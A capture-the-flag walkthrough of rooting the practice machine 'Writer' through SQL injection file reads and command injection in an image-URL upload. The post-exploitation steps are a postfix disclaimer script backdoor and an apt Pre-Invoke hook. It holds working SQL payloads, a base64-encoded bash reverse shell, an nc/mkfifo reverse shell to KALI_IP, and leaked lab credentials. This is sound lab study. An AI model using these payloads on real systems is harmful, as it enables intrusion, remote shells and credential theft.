Enum

NMAP

# Nmap 7.91 scan initiated Thu Aug  5 14:43:54 2021 as: nmap -sCV -p22,80,139,445,9696 -oN scans/nmap 10.10.11.101
Nmap scan report for 10.10.11.101
Host is up (0.048s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp  open  netbios-ssn Samba smbd 4.6.2
445/tcp  open  netbios-ssn Samba smbd 4.6.2
9696/tcp open  mysql       MySQL 5.5.5-10.3.29-MariaDB-0ubuntu0.20.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.29-MariaDB-0ubuntu0.20.04.1
|   Thread ID: 21159
|   Capabilities flags: 63486
|   Some Capabilities: ODBCClient, SupportsCompression, Support41Auth, InteractiveClient, DontAllowDatabaseTableColumn, IgnoreSigpipes, SupportsTransactions, Speaks41ProtocolNew, Speaks41ProtocolOld, ConnectWithDatabase, SupportsLoadDataLocal, FoundRows, LongColumnFlag, IgnoreSpaceBeforeParenthesis, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: SOpg5pWB%1f0XN^n0?/j
|_  Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -8s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-08-05T18:44:09
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug  5 14:44:19 2021 -- 1 IP address (1 host up) scanned in 25.56 seconds

WEBPAGE

Running gobuster, we discover /administrative

/contact              (Status: 200) [Size: 4905]
/logout               (Status: 302) [Size: 208] [--> http://writer.htb/]
/static               (Status: 301) [Size: 309] [--> http://writer.htb/static/]
/about                (Status: 200) [Size: 3522]
/dashboard            (Status: 302) [Size: 208] [--> http://writer.htb/]
/server-status        (Status: 403) [Size: 275]
/administrative       (Status: 200) [Size: 1443]

The login page is vulnerable to SQL injection

[14:57:06] [INFO] parsing HTTP request from 'req.txt'
[14:57:07] [INFO] resuming back-end DBMS 'mysql' 
[14:57:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin' AND (SELECT 2484 FROM (SELECT(SLEEP(5)))qTgs) AND 'Jkuy'='Jkuy&password=admin

Dumping the DB gives us the following creds

Database: writer                                                                                                                                                                                                                              
Table: users
[1 entry]
+----+------------------+--------+----------------------------------+----------+--------------+                                                                                                                                               
| id | email            | status | password                         | username | date_created |
+----+------------------+--------+----------------------------------+----------+--------------+
| 1  | admin@writer.htb | Active | 118e48794631a9612484ca8b55f622d0 | admin    | NULL         |
+----+------------------+--------+----------------------------------+----------+--------------+

Attempting to crack the password yields no results

If we try to enumerate the privileges of the current user,

sqlmap -r test.txt --privileges --batch

We get

database management system users privileges:
[*] %admin% [1]:
    privilege: FILE

Referring to the manual

We learn that we have read files on the host. Knowing that, we can use LOAD_FILE() to read files on the host.

Doing this with sqlmap will take too long time. So we need to do this manually.

SQLMap informed us that

target URL appears to be UNION injectable with 6 columns

If we change our payload to uname=user' UNION ALL SELECT 0,LOAD_FILE('/etc/passwd'),2,3,4,5-- -&password=password

We get

[..]
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
postfix:x:113:118::/var/spool/postfix:/usr/sbin/nologin
filter:x:997:997:Postfix Filters:/var/spool/filter:/bin/sh
john:x:1001:1001:,,,:/home/john:/bin/bash
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false

To get the webroot of apache to we need to read 000-default.conf so we adjust our payload accordingly:

uname=user' UNION ALL SELECT 0,LOAD_FILE('/etc/apache2/sites-available/000-default.conf'),2,3,4,5-- -&password=password

and we get

Welcome # Virtual host configuration for writer.htb domain
<VirtualHost *:80>
        ServerName writer.htb
        ServerAdmin admin@writer.htb
        WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
        <Directory /var/www/writer.htb>
                Order allow,deny
                Allow from all
        </Directory>
        Alias /static /var/www/writer.htb/writer/static
        <Directory /var/www/writer.htb/writer/static/>
                Order allow,deny
                Allow from all
        </Directory>
        ErrorLog ${APACHE_LOG_DIR}/error.log
        LogLevel warn
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#<VirtualHost 127.0.0.1:8080>
#   ServerName dev.writer.htb
#   ServerAdmin admin@writer.htb
#
        # Collect static for the writer2_project/writer_web/templates
#   Alias /static /var/www/writer2_project/static
#   <Directory /var/www/writer2_project/static>
#       Require all granted
#   </Directory>
#
#   <Directory /var/www/writer2_project/writerv2>
#       <Files wsgi.py>
#           Require all granted
#       </Files>
#   </Directory>
#
#   WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
#   WSGIProcessGroup writer2_project
#   WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py

then we fetch /var/www/writer.htb/writer.wsgi

which gives

#!/usr/bin/python
import sys
import logging
import random
import os

# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")

If we try to fetch __init__.py we get:


from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib

app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')

#Define connection for database
def connections():
    try:
        connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
        return connector
    except mysql.connector.Error as err:
        if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
            return ("Something is wrong with your db user name or password!")
        elif err.errno == errorcode.ER_BAD_DB_ERROR:
            return ("Database does not exist")
        else:
            return ("Another exception, returning!")
    else:
        print ('Connection to DB is ready!')

#Define homepage
@app.route('/')
def home_page():
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    cursor = connector.cursor()
    sql_command = "SELECT * FROM stories;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('blog/blog.html', results=results)

#Define about page
@app.route('/about')
def about():
    return render_template('blog/about.html')

#Define contact page
@app.route('/contact')
def contact():
    return render_template('blog/contact.html')

#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    cursor = connector.cursor()
    cursor.execute("SELECT * FROM stories WHERE id = %(id)s;", {'id': id})
    results = cursor.fetchall()
    sql_command = "SELECT * FROM stories;"
    cursor.execute(sql_command)
    stories = cursor.fetchall()
    return render_template('blog/blog-single.html', results=results, stories=stories)

#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
    if not ('user' in session):
        return redirect('/')
    return render_template('dashboard.html')

#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    cursor = connector.cursor()
    sql_command = "Select * From stories;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('stories.html', results=results)

@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)

        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                    except PIL.UnidentifiedImageError:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('add.html', error=error)
                except:
                    error = "Issue uploading picture"
                    return render_template('add.html', error=error)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)
        author = request.form.get('author')
        title = request.form.get('title')
        tagline = request.form.get('tagline')
        content = request.form.get('content')
        cursor = connector.cursor()
        cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
        result = connector.commit()
        return redirect('/dashboard/stories')
    else:
        return render_template('add.html')

@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        cursor = connector.cursor()
        cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
                cursor = connector.cursor()
                cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                result = connector.commit()
            else:
                error = "File extensions must be in .jpg!"
                return render_template('edit.html', error=error, results=results, id=id)
        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                        cursor = connector.cursor()
                        cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                        result = connector.commit()

                    except PIL.UnidentifiedImageError:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('edit.html', error=error, results=results, id=id)
                except:
                    error = "Issue uploading picture"
                    return render_template('edit.html', error=error, results=results, id=id)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('edit.html', error=error, results=results, id=id)
        title = request.form.get('title')
        tagline = request.form.get('tagline')
        content = request.form.get('content')
        cursor = connector.cursor()
        cursor.execute("UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
        result = connector.commit()
        return redirect('/dashboard/stories')

    else:
        cursor = connector.cursor()
        cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        return render_template('edit.html', results=results, id=id)

@app.route('/dashboard/stories/delete/<id>', methods=['GET', 'POST'])
def delete_story(id):
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        cursor = connector.cursor()
        cursor.execute("DELETE FROM stories WHERE id = %(id)s;", {'id': id})
        result = connector.commit()
        return redirect('/dashboard/stories')
    else:
        cursor = connector.cursor()
        cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        return render_template('delete.html', results=results, id=id)

#Define user page for dashboard
@app.route('/dashboard/users')
def users():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
        return "Database Error"
    cursor = connector.cursor()
    sql_command = "SELECT * FROM users;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('users.html', results=results)

#Define settings page
@app.route('/dashboard/settings', methods=['GET'])
def settings():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
        return "Database Error!"
    cursor = connector.cursor()
    sql_command = "SELECT * FROM site WHERE id = 1"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('settings.html', results=results)

#Define authentication mechanism
@app.route('/administrative', methods=['POST', 'GET'])
def login_page():
    if ('user' in session):
        return redirect('/dashboard')
    if request.method == "POST":
        username = request.form.get('uname')
        password = request.form.get('password')
        password = hashlib.md5(password.encode('utf-8')).hexdigest()
        try:
            connector = connections()
        except mysql.connector.Error as err:
            return ("Database error")
        try:
            cursor = connector.cursor()
            sql_command = "Select * From users Where username = '%s' And password = '%s'" % (username, password)
            cursor.execute(sql_command)
            results = cursor.fetchall()
            for result in results:
                print("Got result")
            if result and len(result) != 0:
                session['user'] = username
                return render_template('success.html', results=results)
            else:
                error = "Incorrect credentials supplied"
                return render_template('login.html', error=error)
        except:
            error = "Incorrect credentials supplied"
            return render_template('login.html', error=error)
    else:
        return render_template('login.html')

@app.route("/logout")
def logout():
    if not ('user' in session):
        return redirect('/')
    session.pop('user')
    return redirect('/')

if __name__ == '__main__':
   app.run("0.0.0.0")

If we look through the code, it appears to be possible to command inject in the below code snippet


[...]

if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)

First we create the malicious file

touch 'heh.jpg; `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42NS85MDAxIDA+Jj     E= | base64 -d | bash`'

Then we edit a story and upload the image. Next we check that it is located on the server in http://writer.htb/static/img/

As the python script will check the valuye of the header image_url we need to insert the file there by intercepting the request

[...]


-----------------------------329710572325181581901556502535

Content-Disposition: form-data; name="image_url"



file:////var/www/writer.htb/writer/static/img/heh.jpg; `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42NS85MDAxIDA+JjE= | base64 -d | bash`	

[...]

And we trigger that and get a shell as www-data.

Running linpeas shows


[...]

═╣ MySQL connection using root/NOPASS ................. No
╔══════════╣ Searching mysql credentials and exec
From '/etc/mysql/mariadb.cnf' Mysql user: user = djangouser
From '/etc/mysql/mariadb.conf.d/50-server.cnf' Mysql user: user                    = mysql
Found readable /etc/mysql/my.cnf
[client-server]
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8

djangouser:DjangoSuperPassword

We can access the SQL db and get the creds of Kyle


mysql -u djangouser -pDjangoSuperPassword -e "select * from auth_user;"
<-pDjangoSuperPassword -e "select * from auth_user;"
id      password        last_login      is_superuser    username        first_name      last_name       email   is_staff        is_active       date_joined
1       pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=        NULL    1       kyle                    kyle@writer.htb 1       1       2021-05-19 12:41:37.168368

Cracking the password with hashcat gives

pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio

kyle:marcoantonio

The password gives us ssh access as Kyle.

Looking at what is being run, we observe:

/bin/sh -c /usr/bin/cp /root/.scripts/disclaimer /etc/postfix/disclaimer 
2021/08/07 00:24:01 CMD: UID=0    PID=3084   | /bin/sh -c /usr/bin/cp -r /root/.scripts/writer2_project /var/www/ 

Looking at the script

#!/bin/sh                                                                                                                                                                                                                                     
# Localize these.                                                                                                                                                                                                                             
INSPECT_DIR=/var/spool/filter                                                                                                                                                                                                                 
SENDMAIL=/usr/sbin/sendmail                                                                                                                                                                                                                   

# Get disclaimer addresses                                                                                                                                                                                                                    
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses                                                                                                                                                                                        

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69                                                                                                                                                                                                                             

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }                                                                                                                                                                                                                               

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi
$SENDMAIL "$@" <in.$$

We add a bash reverse shell to the bash script and then send an email.

We create a python script to automate the mailing process

import smtplib
host = '127.0.0.1'
port = 25

sender = "kyle@writer.htb"
receiver = "john@writer.htb"
msg = "fuck you"

server = smtplib.SMTP(host, port)
server.ehlo()
server.sendmail(sender, receiver, msg)

cp disclaimer /etc/postfix/disclaimer && python3 sender.py

And we get a shell as John

rlwrap nc -nvlp 9001                                  
listening on [any] 9001 ...
connect to [10.10.16.65] from (UNKNOWN) [10.10.11.101] 43930
bash: cannot set terminal process group (3493): Inappropriate ioctl for device
bash: no job control in this shell
whoami
whoami
john
john@writer:/var/spool/postfix$ 

To get a more stable shell we get the ssh key of john.

Looking at the groups

john@writer:~$ groups
john management

We notice management.

Searching for files which are owned by that group we only find one

john@writer:~$ find / -group management 2>/dev/null
/etc/apt/apt.conf.d
john@writer:~$

Googling intext:"apt.conf.d" privilege escalation we find this

We simply copy the step echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 1234 >/tmp/f"};' > pwn

We open a listener and then just wait for the callback


┌──(bob㉿kali)-[~]
└─$ rlwrap nc -nvlp 1234                                                                                                                                                                                                                  1 ⨯
listening on [any] 1234 ...
connect to [10.10.16.65] from (UNKNOWN) [10.10.11.101] 36962
/bin/sh: 0: can't access tty; job control turned off
#